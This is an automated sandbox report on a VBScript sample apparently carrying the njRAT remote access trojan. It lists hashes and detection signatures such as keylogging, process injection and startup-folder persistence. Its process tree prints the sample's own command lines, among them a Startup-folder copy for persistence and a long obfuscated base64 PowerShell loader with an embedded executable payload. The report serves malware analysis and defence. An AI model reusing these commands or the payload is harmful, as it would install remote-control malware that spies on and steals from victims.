Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
NJratccccassssG2.00.vbs

Overview

General Information

Sample Name:NJratccccassssG2.00.vbs
Analysis ID:575468
MD5:4833452ece935ea45c3b0912db2fc0bd
SHA1:111ba6889be1031376e62b1e87dd83041ace2352
SHA256:965b43f6e33c4b12172f54bd6361f892a3c7f8aa6d75ac3a8665b090ff9d819f
Infos:

Detection

Njrat
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
VBScript performs obfuscated calls to suspicious functions
Yara detected Njrat
Antivirus detection for URL or domain
Sigma detected: Encoded FromBase64String
Multi AV Scanner detection for domain / URL
Sigma detected: Drops script at startup location
Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Sigma detected: FromBase64String Command Line
Sigma detected: Suspicious Encoded PowerShell Command Line
.NET source code references suspicious native API functions
Contains functionality to log keystrokes (.Net Source)
Very long command line found
Suspicious powershell command line found
Uses ping.exe to check the status of other devices and networks
.NET source code contains potential unpacker
Injects a PE file into a foreign processes
Uses ping.exe to sleep
Sigma detected: Suspicious PowerShell Cmdline
Obfuscated command line found
C2 URLs / IPs found in malware configuration
Drops VBS files to the startup folder
Queries the volume information (name, serial number etc) of a device
Yara signature match
Antivirus or Machine Learning detection for unpacked file
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Stores files to the Windows start menu directory
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Java / VBScript file with very long strings (likely obfuscated code)
Detected TCP or UDP traffic on non-standard ports
Contains functionality to detect virtual machines (SLDT)
Creates a start menu entry (Start Menu\Programs\Startup)
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)

Classification

  • System is w10x64
  • wscript.exe (PID: 6576 cmdline: C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\NJratccccassssG2.00.vbs" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)
    • cmd.exe (PID: 4560 cmdline: "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\user\Desktop\NJratccccassssG2.00.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ VFM.vbs') MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 4960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • PING.EXE (PID: 3732 cmdline: ping 127.0.0.1 -n 10 MD5: 6A7389ECE70FB97BFE9A570DB4ACCC3B)
      • powershell.exe (PID: 6844 cmdline: powershell -command [System.IO.File]::Copy('C:\Users\user\Desktop\NJratccccassssG2.00.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ VFM.vbs') MD5: 95000560239032BC68B4C2FDFCDEF913)
    • powershell.exe (PID: 5608 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J?BM?Eg?ZwBL?C??PQ?g?Cc?JQBN?Ek?UwBx?Eg?RwBL?Fo?TQBB?CU?Jw?7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?ZgB1?FU?Tg?g?D0?I?Bb?FM?eQBz?HQ?ZQBt?C4?QwBv?G4?dgBl?HI?d?Bd?Do?OgBG?HI?bwBt?EI?YQBz?GU?Ng?0?FM?d?By?Gk?bgBn?Cg?I??k?Ew?S?Bn?Es?LgBy?GU?c?Bs?GE?YwBl?Cg?JwDmEEIgrC?n?Cw?JwBB?Cc?KQ?g?Ck?OwBb?FM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Do?QwB1?HI?cgBl?G4?d?BE?G8?bQBh?Gk?bg?u?Ew?bwBh?GQ?K??k?GY?dQBV?E4?KQ?u?Ec?ZQB0?FQ?eQBw?GU?K??n?Gw?c?BP?FU?c?Bs?E0?c??u?FU?RwBs?Hk?bQB6?FU?Zw?n?Ck?LgBH?GU?d?BN?GU?d?Bo?G8?Z??o?Cc?VQBE?HM?UwBp?EQ?YgBi?Cc?KQ?u?Ek?bgB2?G8?awBl?Cg?J?Bu?HU?b?Bs?Cw?I?Bb?G8?YgBq?GU?YwB0?Fs?XQBd?C??K??n?HQ?e?B0?C4?YQBz?GE?YwBX?EU?TgB0?GE?cgBK?E4?M??y?CU?N??2?D??Mg?l?GU?cwBh?GI?LwBh?HM?YQBj?D??Mg?l?Fc?RQBO?HQ?YQBy?Eo?Tg?v?G0?bwBj?C4?bwB1?GU?dQ?u?Hc?ZQBu?GE?cwBh?GM?d?Bh?HI?agBu?C8?Lw?6?H??d?B0?Gg?Jw?p?Ck?';$OWjuxD = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $Codigo.replace('?','A') ) ).replace('%MISqHGKZMA%','TVqQ?? ?? M?? ?? ?? ?? E?? ?? ?? ?? //8?? ?? Lg?? ?? ?? ?? ?? ?? ?? ?? ?? Q?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? g?? ?? ?? ?? ?? 4fug4?? t?? nNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJ?? ?? ?? ?? ?? ?? ?? ?? ?? BQRQ?? ?? T?? ED?? OJNIpY?? ?? ?? ?? ?? ?? ?? ?? ?? ?? O?? ?? ?? iEL?? V?? ?? ?? Bw?? ?? ?? ?? G?? ?? ?? ?? ?? ?? ?? ?? ?? jo?? ?? ?? ?? g?? ?? ?? ?? Q?? ?? ?? ?? ?? ?? ?? E?? ?? g?? ?? ?? ?? ?? g?? ?? B?? ?? ?? ?? ?? ?? ?? ?? ?? ?? G?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C?? ?? ?? ?? ?? ?? g?? ?? ?? ?? ?? ?? ?? ?? M?? YIU?? ?? B?? ?? ?? B?? ?? ?? ?? ?? ?? E?? ?? ?? E?? ?? ?? ?? ?? ?? ?? ?? B?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? K05?? ?? BP?? ?? ?? ?? ?? E?? ?? ?? JgD?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? G?? ?? ?? ?? w?? ?? ?? ?? MOQ?? ?? O?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? I?? ?? ?? C?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? CC?? ?? ?? Eg?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C50ZXh0?? ?? ?? ?? CBo?? ?? ?? ?? g?? ?? ?? ?? H?? ?? ?? ?? ?? I?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C?? ?? ?? G?? ucnNyYw?? ?? ?? JgD?? ?? ?? ?? Q?? ?? ?? ?? ?? Q?? ?? ?? ?? e?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? B?? ?? ?? B?? LnJlbG9j?? ?? ?? M?? ?? ?? ?? ?? G?? ?? ?? ?? ?? C?? ?? ?? ?? Ig?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? Q?? ?? ?? Qg?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? DhOQ?? ?? ?? ?? ?? ?? ?? Eg?? ?? ?? ?? C?? ?? U?? nCI?? ?? LgV?? ?? ?? D?? ?? ?? ?? ?? ?? ?? ?? ?? FQ4?? ?? C4?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? B4CKBc?? ?? ?? oqHgIoG?? ?? ?? Ciqmcxk?? ?? ?? q?? ?? Q?? ?? BHMa?? ?? ?? Kg?? I?? ?? ?? RzGw?? ?? Co?? D?? ?? ?? Ecxw?? ?? ?? q?? B?? ?? ?? BCoufgE?? ?? ?? RvHQ?? ?? CioufgI?? ?? ?? RvHg?? ?? CioufgM?? ?? ?? RvHw?? ?? CioufgQ?? ?? ?? RvI?? ?? ?? CirGfgU?? ?? ?? QUKCE?? ?? ?? osHnIB?? ?? Bw0?? U?? ?? ?? IoIg?? ?? Cm8j?? ?? ?? KcyQ?? ?? ?? q?? BQ?? ?? BH4F?? ?? ?? EKhp+Bg?? ?? BCoe?? o?? G?? ?? ?? EKlZzD?? ?? ?? Bigl?? ?? ?? Kd?? Y?? ?? ?? K?? Bw?? ?? BCoe?? igm?? ?? ?? KKhp+Bw?? ?? BCoaK?? 0?? ?? ?? YqHgIoJw?? ?? Cio?? Ez?? H?? Lc?? ?? ?? ?? B?? ?? ?? Rcic?? ?? H?? Kcyg?? ?? ?? olKCk?? ?? ?? pvKg?? ?? CgYoKw?? ?? Cm8s?? ?? ?? KCwcoKw?? ?? CgsHcn8?? ?? HByhQ?? ?? cG8t?? ?? ?? KC3Mo?? ?? ?? K?? igr?? ?? ?? KKCw?? ?? ?? oMCCgr?? ?? ?? KDHKJ?? ?? BwKCs?? ?? ?? oNCXLP?? ?? BwKCs?? ?? ?? ooLg?? ?? Cg0oLw?? ?? CgcoM?? ?? ?? Cm8x?? ?? ?? Kcuc?? ?? HBvMg?? ?? CnIL?? QBwbzM?? ?? ?? oUGI0X?? ?? ?? BJRYJch0B?? H?? oLg?? ?? CqIlFwgoM?? ?? ?? CqJvN?? ?? ?? CiYqNgIDKDU?? ?? ?? ooNg?? ?? Cioe?? ig3?? ?? ?? KKi7QCQ?? ?? ?? igi?? ?? ?? KKh4CKDg?? ?? ?? oq?? ?? ?? ?? Ez?? B?? BQ?? ?? ?? ?? C?? ?? ?? R?? owF?? ?? ?? bLQgo?? Q?? ?? Kwor?? gIKBioi?? /4VBQ?? ?? Gyoe?? ign?? ?? ?? KKg?? ?? ?? BMw?? g?? o?? ?? ?? ?? ?? w?? ?? EQJ7Og?? ?? Cm87?? ?? ?? KCgaMC?? ?? ?? Gy0SK?? I?? ?? CsK?? ns6?? ?? ?? KBm88?? ?? ?? KBipK?? ign?? ?? ?? K?? nM9?? ?? ?? KfTo?? ?? ?? oq?? EJTSkIB?? ?? E?? ?? ?? ?? ?? ?? ?? w?? ?? ?? B2NC4wLjMwMzE5?? ?? ?? ?? ?? ?? U?? b?? ?? ?? ?? MwH?? ?? ?? jfg?? ?? O?? g?? ?? BQI?? ?? ?? jU3RyaW5ncw?? ?? ?? ?? BME?? ?? ?? O?? E?? ?? CNVUwCEEQ?? ?? E?? ?? ?? ?? CNHVUlE?? ?? ?? ?? lBE?? ?? CQE?? ?? ?? jQmxvYg?? ?? ?? ?? ?? ?? ?? ?? ?? C?? ?? ?? BVxWiCQkP?? ?? ?? ?? +gEz?? BY?? ?? ?? E?? ?? ?? ?? u?? ?? ?? ?? Cg?? ?? ?? ?? g?? ?? ?? ?? Z?? ?? ?? ?? BQ?? ?? ?? D0?? ?? ?? B?? ?? ?? ?? ?? ?? w?? ?? ?? ?? U?? ?? ?? ?? J?? ?? ?? ?? Cg?? ?? ?? ?? g?? ?? ?? ?? B?? ?? ?? ?? ?? w?? ?? ?? ?? E?? ?? ?? ?? C?? ?? ?? ?? ?? w?? ?? ?? ?? I?? ?? ?? ?? ?? ?? IkE?? Q?? ?? ?? ?? ?? ?? BgBC?? 98GBgCv?? 98GBg?? Z?? i?? GDwBDBw?? ?? BgBa?? ioFBg?? l?? yoFBgCW?? yoFBgBi?? yoFBgB7?? yoFBgCh?? ioFBgBG?? pkGBgDC?? ZkGBgDt?? ioFBgC8?? gYECgDl?? d?? FCgCS?? XMECg?? t?? nMEDgBf?? W8GDg?? ?? BjMGBgDV?? i?? GDgBx?? rgGDgCJ?? ns?? BgCYB5YEDgDsBW8GDg?? K?? 3s?? Bg?? n?? ZYEDg?? B?? EkECgDQ?? akEBgD8?? S?? GBgCn?? d8GBgD?? Bf8GBgBHBRUFCgBv?? Q?? FBg?? ?? ?? ZYEBgD4ByoFCgB6?? Q?? FCgD?? B6kHBgD9?? 9IHDgBSB3s?? BgBCBJYEBgDGBJYEBgDKB5YEBg?? 8BSoFBgBU?? SoFBgCCB98GBg?? JBpYE?? ?? ?? ?? ?? Dc?? ?? ?? ?? ?? ?? ?? E?? ?? Q?? ?? ?? ?? ?? ?? 8gToB0k?? ?? Q?? B?? ?? ?? ?? ?? ?? D+BegHTQ?? B?? ?? I?? ?? ?? EQ?? J8H6?? dd?? ?? E?? ?? w?? ?? ?? Q?? ?? H?? cQB10?? BQ?? I?? ?? ?? BE?? BnB+gHhQ?? H?? ?? s?? ?? ?? E?? ?? ?? EI6?? dd?? ?? g?? Dg?? B?? ?? ?? ?? 8?? NTBV0?? C?? ?? P?? ?? UB?? ?? BhBg?? ?? XQ?? I?? BE?? BQE?? ?? B?? ?? ?? ?? Bd?? ?? g?? G?? ?? x?? IUFJgEx?? FwFLgEx?? H?? FNgEx?? J4FPgER?? J0ERgER?? EQBSgER?? NQ?? TwEh?? N4H9wBQI?? ?? ?? ?? ?? ?? GGBMGBg?? B?? Fgg?? ?? ?? ?? ?? ?? YYEwYG?? ?? E?? YC?? ?? ?? ?? ?? ?? ERgZBlMB?? QCKI?? ?? ?? ?? ?? ?? TCPEFVwEB?? JYg?? ?? ?? ?? ?? BMI4gRc?? QE?? oi?? ?? ?? ?? ?? ?? EwjoBWEB?? QCuI?? ?? ?? ?? ?? ?? TCFEGZgEB?? Log?? ?? ?? ?? ?? BMIv?? Vr?? QE?? 7C?? ?? ?? ?? ?? ?? Ewgs?? X?? B?? QDzI?? ?? ?? ?? ?? ?? TCDgBdgEB?? Psg?? ?? ?? ?? ?? BEYGQZT?? QI?? ESE?? ?? ?? ?? ?? BhgTBgY?? ?? g?? ZIQ?? ?? ?? ?? ?? WCLQHfQEC?? C?? h?? ?? ?? ?? ?? BMIWgd9?? QI?? JyE?? ?? ?? ?? ?? BhgTBgY?? ?? g?? wIQ?? ?? ?? ?? ?? W?? Gk?? ggEC?? PMh?? ?? ?? ?? ?? MYCewfL?? ?? M?? ?? SI?? ?? ?? ?? ?? xgLt?? N?? ?? B?? ?? JIg?? ?? ?? ?? CD?? CQBhwEE?? BUi?? ?? ?? ?? ?? MYCQ?? TU?? ?? Q?? ICI?? ?? ?? ?? ?? EQBW?? IwBB?? B?? Ig?? ?? ?? ?? ?? B?? EI?? l?? EF?? Eki?? ?? ?? ?? ?? ?? YYEwYG?? ?? Y?? VCI?? ?? ?? ?? ?? ?? wjE?? Eo?? BgCIIg?? ?? ?? ?? ?? GGBMGBg?? G?? ?? ?? ?? ?? QDq?? w?? ?? ?? Q?? r?? ?? ?? ?? ?? QBRBQ?? ?? ?? QDk?? ?? ?? ?? ?? QDk?? ?? k?? EwYB?? BE?? EwYG?? Bk?? EwYK?? Ck?? EwYQ?? DE?? EwYQ?? Dk?? EwYQ?? EE?? EwYQ?? Ek?? EwYQ?? FE?? EwYQ?? Fk?? EwYV?? GE?? EwYQ?? Gk?? EwYQ?? HE?? EwYQ?? Hk?? EwYa?? Ik?? EwYg?? KE?? EwYG?? Kk?? EwYG?? LE?? EwYG?? Mk?? EwYm?? OE?? EwYQ?? Ok?? EwYG?? PE?? EwYG?? JE?? EwYG?? Jk?? EwYG?? ?? w?? EwYG?? BQ?? EwYG?? Bw?? EwYG?? CQ?? EwYG?? ?? w?? x?? BK?? BQ?? x?? BK?? Bw?? x?? BK?? CQ?? x?? BK?? Lk?? cgdP?? NE?? EgFV?? NE?? 9?? dd?? Pk?? EwZj?? CEBlgBr?? ?? kBEwYG?? Lk?? EwYG?? CkBEwYG?? DEBLgB7?? CkB+QOB?? DkBhwGI?? CkBMQSN?? EEBrQCS?? EEBkQeY?? EkB0?? Se?? FEBI?? Sk?? EkBkQCq?? BkBJ?? Gy?? NE?? owC4?? GEB+QC/?? GkB4QPG?? Lk?? ewfL?? Lk?? 7QDQ?? Lk?? Q?? TU?? HEBtQDg?? DQ?? 3gf3?? Dw?? zQNK?? Dw?? 1wMO?? Tw?? EwYG?? Ck?? owDM?? y4?? CwDF?? S4?? EwDO?? S4?? GwDt?? S4?? IwD2?? S4?? KwD2?? S4?? MwD2?? S4?? OwD2?? S4?? Qw?? E?? i4?? Sw?? c?? i4?? Uw?? c?? i4?? Ww?? i?? i4?? YwBM?? i4?? awBZ?? k?? ?? gwCn?? k?? ?? ewCs?? kM?? cwC1?? kM?? ewCs?? kk?? owDd?? 2M?? cwC1?? mM?? ewCs?? mk?? owDx?? 4?? ?? gwCn?? oM?? iwCn?? oM?? kwCn?? oM?? cwC1?? ok?? owD+?? 6?? ?? gwCn?? qM?? iwCn?? qM?? cwDO?? qM?? qwCn?? qM?? swCn?? qM?? kwCn?? qk?? ewDt?? c?? ?? gwCn?? sM?? swCn?? sM?? cw?? Q?? 8M?? ewDt?? ck?? ewDt?? e?? ?? gwCn?? uM?? iwCn?? uM?? kwCn?? uM?? qwCn?? uM?? swCn?? gkBow?? SBCMBewCs?? iMBmwBq?? 0MBewCs?? kMBUw?? c?? i?? CewCs?? i?? CgwCn?? k?? CewCs?? k?? CgwCn?? m?? CewCs?? m?? CgwCn?? o?? CewCs?? o?? CgwCn?? q?? CgwCn?? s?? CgwCn?? u?? CgwCn?? u?? CewCs?? g?? DgwCn?? i?? DgwCn?? i?? DewCs?? nQ?? 2?? Dr?? ?? Q?? ?? Q?? F?? ?? U?? Bg?? H?? ?? c?? C?? ?? K?? ?? k?? ?? ?? ?? ?? BpwB?? ?? D0BKEB?? ?? DsBaYB?? ?? BjBqsB?? ?? D?? Bb?? B?? ?? BM?? bUB?? ?? C4B7sB?? ?? BpB7sB?? ?? DI?? M?? B?? g?? E?? ?? M?? ?? g?? F?? ?? U?? ?? g?? G?? ?? c?? ?? g?? H?? ?? k?? ?? g?? I?? ?? s?? ?? g?? J?? ?? 0?? ?? Q?? K?? ?? 0?? ?? g?? N?? ?? 8?? ?? g?? O?? BE?? ?? g?? Y?? BM?? Lg?? 1?? Dw?? QwDd?? P?? ?? /w?? G?? QS?? ?? ?? ?? B?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FMF?? ?? ?? E?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? U?? XI?? ?? ?? ?? ?? ?? ?? Q?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? BQBlgQ?? ?? ?? ?? ?? Cg?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? HQF7?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? Q?? ?? ?? CYH?? ?? ?? J?? ?? Q?? Cg?? E?? ?? ?? ?? E?? ?? U?? E?? ?? ?? ?? ?? Q?? Cs?? Q?? ?? ?? ?? ?? ?? ?? LQB?? ?? HM?? 5gBz?? ?? kB?? ?? ?? ?? Q29udGV4dFZhbHVlYDE?? VGhyZWFkU2FmZU9iamVjdFByb3ZpZGVyYDE?? XzU?? Z2V0X1VURjg?? PE1vZHVsZT4?? V?? BEaXNwb3NlX19JbnN0YW5jZV9f?? ENyZWF0ZV9fSW5zdGFuY2VfXwBVRHNTaURiYgBtc2NvcmxpYgBNaWNyb3NvZnQuVmlzdWFsQmFzaWM?? TG9hZ?? BTeW5jaHJvbml6ZWQ?? R2V0TWV0aG9k?? FJlcGxhY2U?? Q3JlYXRlSW5zdGFuY2U?? Z2V0X0dldEluc3RhbmNl?? GRlZmF1bHRJbnN0YW5jZQBpbnN0YW5jZQBHZXRIYXNoQ29kZQBJbnZva2U?? UnVudGltZVR5cGVIYW5kbGU?? R2V0VHlwZUZyb21IYW5kbGU?? R2V0VHlwZQBnZXRfQ3VsdHVyZQBzZXRfQ3VsdHVyZQByZXNvdXJjZUN1bHR1cmU?? TWV0aG9kQmFzZQBBcHBsaWNhdGlvbkJhc2U?? QXBwbGljYXRpb25TZXR0aW5nc0Jhc2U?? U3RyUmV2ZXJzZQBFZGl0b3JCcm93c2FibGVTdGF0ZQBDb21waWxlckdlbmVyYXRlZEF0dHJpYnV0ZQBHdWlkQXR0cmlidXRl?? EhlbHBLZXl3b3JkQXR0cmlidXRl?? EdlbmVyYXRlZENvZGVBdHRyaWJ1dGU?? RGVidWdnZXJOb25Vc2VyQ29kZUF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRl?? EVkaXRvckJyb3dzYWJsZUF0dHJpYnV0ZQBDb21WaXNpYmxlQXR0cmlidXRl?? EFzc2VtYmx5VGl0bGVBdHRyaWJ1dGU?? U3RhbmRhcmRNb2R1bGVBdHRyaWJ1dGU?? SGlkZU1vZHVsZU5hbWVBdHRyaWJ1dGU?? QXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGU?? VGFyZ2V0RnJhbWV3b3JrQXR0cmlidXRl?? ERlYnVnZ2VySGlkZGVuQXR0cmlidXRl?? EFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGU?? TXlHcm91cENvbGxlY3Rpb25BdHRyaWJ1dGU?? QXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRl?? EFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGU?? UnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGU?? Z2V0X1ZhbHVl?? HNldF9WYWx1ZQBHZXRPYmplY3RWYWx1ZQBVR2x5bXpVZwBzZXRfRW5jb2Rpbmc?? U3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBGcm9tQmFzZTY0U3RyaW5n?? ERvd25sb2FkU3RyaW5n?? FRvU3RyaW5n?? E1pY3Jvc29mdC5WaXN1YWxCYXNpYy5NeVNlcnZpY2VzLkludGVybmFs?? FN5c3RlbS5Db21wb25lbnRNb2Rlb?? BscE9VcGxNcC5kbGw?? U3lzdGVt?? HJlc291cmNlTWFu?? FN5c3RlbS5Db21wb25lbnRNb2RlbC5EZXNpZ24?? QXBwRG9tYWlu?? GdldF9DdXJyZW50RG9tYWlu?? GdldF9BcHBsaWNhdGlvbgBNeUFwcGxpY2F0aW9u?? FN5c3RlbS5Db25maWd1cmF0aW9u?? FN5c3RlbS5HbG9iYWxpemF0aW9u?? FN5c3RlbS5SZWZsZWN0aW9u?? E1ldGhvZEluZm8?? Q3VsdHVyZUluZm8?? bHBPVXBsTX?? ?? bV9BcHBPYmplY3RQcm92aWRlcgBtX1VzZXJPYmplY3RQcm92aWRlcgBtX0NvbXB1dGVyT2JqZWN0UHJvdmlkZXI?? bV9NeVdlYlNlcnZpY2VzT2JqZWN0UHJvdmlkZXI?? Z2V0X1Jlc291cmNlTWFuYWdlcgBTeXN0ZW0uQ29kZURvbS5Db21waWxlcgBnZXRfVXNlcgBnZXRfQ29tcHV0ZXI?? TXlDb21wdXRlcgBBY3RpdmF0b3I?? LmN0b3I?? LmNjdG9y?? FN5c3RlbS5EaWFnbm9zdGljcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuRGV2aWNlcwBnZXRfV2ViU2VydmljZXM?? TXlXZWJTZXJ2aWNlcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuQXBwbGljYXRpb25TZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM?? TWljcm9zb2Z0LlZpc3VhbEJhc2ljLkNvbXBpbGVyU2VydmljZXM?? U3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBTeXN0ZW0uUmVzb3VyY2Vz?? GxwT1VwbE1wLk15LlJlc291cmNlcwBscE9VcGxNcC5SZXNvdXJjZXMucmVzb3VyY2Vz?? ERlYnVnZ2luZ01vZGVz?? FN0cmluZ3M?? Z2V0X1NldHRpbmdz?? E15U2V0dGluZ3M?? UmVmZXJlbmNlRXF1YWxz?? FJ1bnRpbWVIZWxwZXJz?? ENvbmNhd?? BPYmplY3Q?? TXlQcm9qZWN0?? FN5c3RlbS5OZXQ?? Z2V0X0RlZmF1bHQ?? V2ViQ2xpZW50?? ENvbnZlcnQ?? U3lzdGVtLlRleHQ?? bV9Db250ZXh0?? GxwT1VwbE1wLk15?? GdldF9Bc3NlbWJseQBNeVNldHRpbmdzUHJvcGVydHk?? ?? CVs?? H?? ?? TwBV?? H?? ?? b?? BN?? H?? ?? LgBS?? GU?? cwBv?? HU?? cgBj?? GU?? cw?? ?? V3Q?? e?? B0?? C4?? N?? ?? v?? H?? ?? bQB1?? HI?? Lw?? x?? DU?? Mg?? u?? Dc?? Nw?? x?? C4?? M?? ?? 1?? C4?? O?? ?? 5?? DE?? Q?? Bu?? G8?? d?? Bj?? GU?? d?? Bl?? GQ?? bwBu?? C8?? Lw?? 6?? H?? ?? d?? B0?? Gg?? ?? ?? VIJhEm?? QNB?? ?? BFawBy?? G8?? dwBl?? G0?? YQBy?? EY?? X?? BU?? EU?? Tg?? u?? HQ?? ZgBv?? HM?? bwBy?? GM?? aQBN?? Fw?? cwB3?? G8?? Z?? Bu?? Gk?? VwBc?? Do?? Qw?? ?? Fzk?? MQ?? z?? D?? ?? Mw?? u?? D?? ?? Lg?? 0?? HY?? X?? ?? ?? I2o?? SQBD?? HU?? Z?? BI?? E8?? T?? ?? u?? Ec?? WgBu?? G4?? SwBv?? Fc?? Yw?? ?? EXo?? egBH?? HY?? d?? Bw?? GI?? bw?? ?? GVw?? UgBl?? Gc?? UwB2?? GM?? cw?? u?? GU?? e?? Bl?? ?? ?? ?? hFFgqWcwdE6wlnV8YWFE?? g?? EI?? EBC?? Mg?? ?? EFI?? EBEREEI?? EBDgQg?? QECBS?? C?? Q4OBS?? B?? RFBBy?? E?? Q4ODg4GFRIo?? RIMBhUSK?? ESC?? YVEigBEmEGFRIo?? RIkBC?? ?? Ew?? F?? ?? ICHBwH?? ?? ESaRG?? iQUg?? BK?? jQcg?? gEOEoCNC?? ?? BEoCREoCRBgcEDg4ODgU?? ?? BK?? mQYg?? QESgJkE?? ?? EODgQg?? Q4OBS?? CDg4OBQ?? CDg4OBQ?? ?? EoClBQ?? BHQUOBy?? BEoCNHQUFI?? ESaQ4GI?? ESgK0OBi?? CHBwdH?? Q?? ?? RwcBC?? B?? hwDI?? ?? I?? y?? ?? DgQH?? R4?? ?? h4?? BR?? B?? B4?? B?? oBHg?? EBwET?? ?? YVEigBEw?? HBhUSbQET?? ?? YVEm0BEw?? CEw?? ECgET?? ?? Ug?? QET?? ?? i3elxWGTTgiQiwP19/EdUKOgcGFRIo?? RIMBwYVEigBEggHBhUSK?? ESYQcGFRIo?? RIk?? wYSfQQGEoCB?? wYSG?? M?? ?? ?? EE?? ?? ?? SD?? Q?? ?? BIIB?? ?? ?? EmEE?? ?? ?? SJ?? Q?? ?? BJ9BQ?? ?? EoCBBg?? B?? RK?? gQQ?? ?? BIYB?? ?? B?? Q4EI?? ?? SaQcQ?? QEe?? B4?? Bz?? B?? QEQHg?? EC?? ?? SD?? QI?? BIIB?? g?? EmEEC?? ?? SJ?? QI?? BJ9BQg?? EoCBB?? g?? EhgEK?? ?? T?? ?? gB?? ?? g?? ?? ?? ?? ?? ?? B4B?? ?? E?? V?? IWV3JhcE5vbkV4Y2VwdGlvblRocm93cwEI?? Q?? C?? ?? ?? ?? ?? ?? ?? N?? Q?? IbHBPVXBsTX?? ?? ?? BcB?? BJDb3B5cmlnaHQgwqkgIDIwMjI?? ?? ?? UB?? ?? ?? ?? ?? CkB?? CRhMTU5NDFlMy03ZDM4LTQwYmEtYmI5MC1mYTE5YTZjNjg1NmI?? ?? ?? wB?? ?? cxLj?? uMC4w?? ?? BN?? Q?? cLk5FVEZyYW1ld29yayxWZXJzaW9uPXY0LjUuMQE?? V?? 4URnJhbWV3b3JrRGlzcGxheU5hbWUULk5FVCBGcmFtZXdvcmsgNC41LjEE?? Q?? ?? ?? ?? gB?? ?? E?? ?? ?? ?? ?? ?? BgB?? ?? pNeVRlbXBsYXRlCDExLj?? uMC4w?? ?? BB?? Q?? 